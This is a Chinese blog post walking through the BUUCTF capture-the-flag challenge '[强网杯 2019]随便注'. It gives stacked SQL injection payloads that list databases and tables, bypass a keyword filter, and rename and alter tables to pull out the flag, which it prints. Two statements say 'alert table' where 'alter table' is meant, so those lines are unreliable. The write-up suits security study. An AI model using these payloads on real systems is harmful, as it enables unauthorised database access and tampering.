buuctf web [强网杯 2019]随便注

原创

爱吃熊的奶片 于 2021-05-17 16:02:50 发布 70 收藏

分类专栏： CTF 笔记 文章标签： web

本文链接：https://blog.csdn.net/weixin_44332119/article/details/116934580

取材于某次真实环境渗透，只说一句话：开发和安全缺一不可

姿势: 1 提交

随便输入1,2,3试试

姿势: 1 提交

```
array(2) {
  [0]=>
  string(1) "1"
  [1]=>
  string(7) "hahahah"
}
```


姿势: 1 提交

```
array(2) {
  [0]=>
  string(1) "2"
  [1]=>
  string(12) "miaomiaomiao"
}
```

取材于某次真实环境渗透，只说一句话：开发和安全缺一不可

姿势: 1' or 1=1 # 提交

```
array(2) {
  [0]=>
  string(1) "1"
  [1]=>
  string(7) "hahahah"
}

array(2) {
  [0]=>
  string(1) "2"
  [1]=>
  string(12) "miaomiaomiao"
}

array(2) {
  [0]=>
  string(6) "114514"
  [1]=>
  string(2) "ys"
}
```


试了一些函数,都被过滤了

取材于某次真实环境渗透，只说一句话：开发和安全缺一不可

姿势: 1' or select 1,2,database() 提交

```
return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
```


试试叠加

看看库

姿势: 1' ;show databases;# 提交

```
array(2) {
  [0]=>
  string(1) "1"
  [1]=>
  string(7) "hahahah"
}

---

array(1) {
  [0]=>
  string(11) "ctftraining"
}

array(1) {
  [0]=>
  string(18) "information_schema"
}

array(1) {
```

```
  [0]=>
  string(5) "mysql"
}

array(1) {
  [0]=>
  string(18) "performance_schema"
}

array(1) {
  [0]=>
  string(9) "supersqli"
}

array(1) {
  [0]=>
  string(4) "test"
}
```


看看表

取材于某次真实环境渗透，只说一句话：开发和安全缺一不可

姿势: 1' ;show tables# 提交

```
array(2) {
  [0]=>
  string(1) "1"
  [1]=>
  string(7) "hahahah"
}
```

```
array(1) {
  [0]=>
  string(16) "1919810931114514"
}

array(1) {
  [0]=>
  string(5) "words"
}
```


注意是反引号

反引号可利用在分隔符及注释作用，不过使用范围只于表名、数据库名、字段名、起别名这些场景

在MySQL中 反引号 ` 用来区分保留字符与普通字符

取材于某次真实环境渗透，只说一句话：开发和安全缺一不可

姿势: 1';desc `1919810931114514`;# 提交

```
array(2) {
  [0]=>
  string(1) "1"
  [1]=>
  string(7) "hahahah"
}
```

```
array(6) {
  [0]=>
  string(4) "flag"
  [1]=>
```

```
  string(12) "varchar(100)"
  [2]=>
  string(2) "NO"
  [3]=>
  string(0) ""
  [4]=>
  NULL
  [5]=>
  string(0) ""
}
```

姿势: 1';desc `words`;# 提交

```
array(2) {
  [0]=>
  string(1) "1"
  [1]=>
  string(7) "hahahah"
}
```

```
array(6) {
  [0]=>
  string(2) "id"
  [1]=>
  string(7) "int(10)"
  [2]=>
  string(2) "NO"
  [3]=>
  string(0) ""
  [4]=>
  NULL
  [5]=>
  string(0) ""
}

array(6) {
  [0]=>
  string(4) "data"
  [1]=>
  string(11) "varchar(20)"
  [2]=>
  string(2) "NO"
  [3]=>
  string(0) ""
  [4]=>
  NULL
  [5]=>
  string(0) ""
}
```

(弄坏了,next)

取材于某次真实环境渗透，只说一句话：开发和安全缺一不可

姿势: 1 提交

error 1054 : Unknown column 'id' in 'where clause'


```
rename table `words` to `word`;
# 防止重名先把原表名words改成其他的
rename table `1919810931114514` to `words`;
# 把数字表改成words
alter table `words` add id int(10);
# 因为原words有两个字段id和data，所以要再加一个id字段
alert table words change flag data varchar(20);
# 把字段名flag改成data,照着之前查到的改
```

取材于某次真实环境渗透，只说一句话：开发和安全缺一不可

姿势: 1';rename table `words` to `word`;rename table `1919810931114514` to `words`;alter table `words` add id int(10);alert table words change flag data varchar(20);# 提交

```
array(1) {
  [0]=>
  string(42) "flag{f5af0fbe-4acd-495b-9437-650284863b22}"
}
```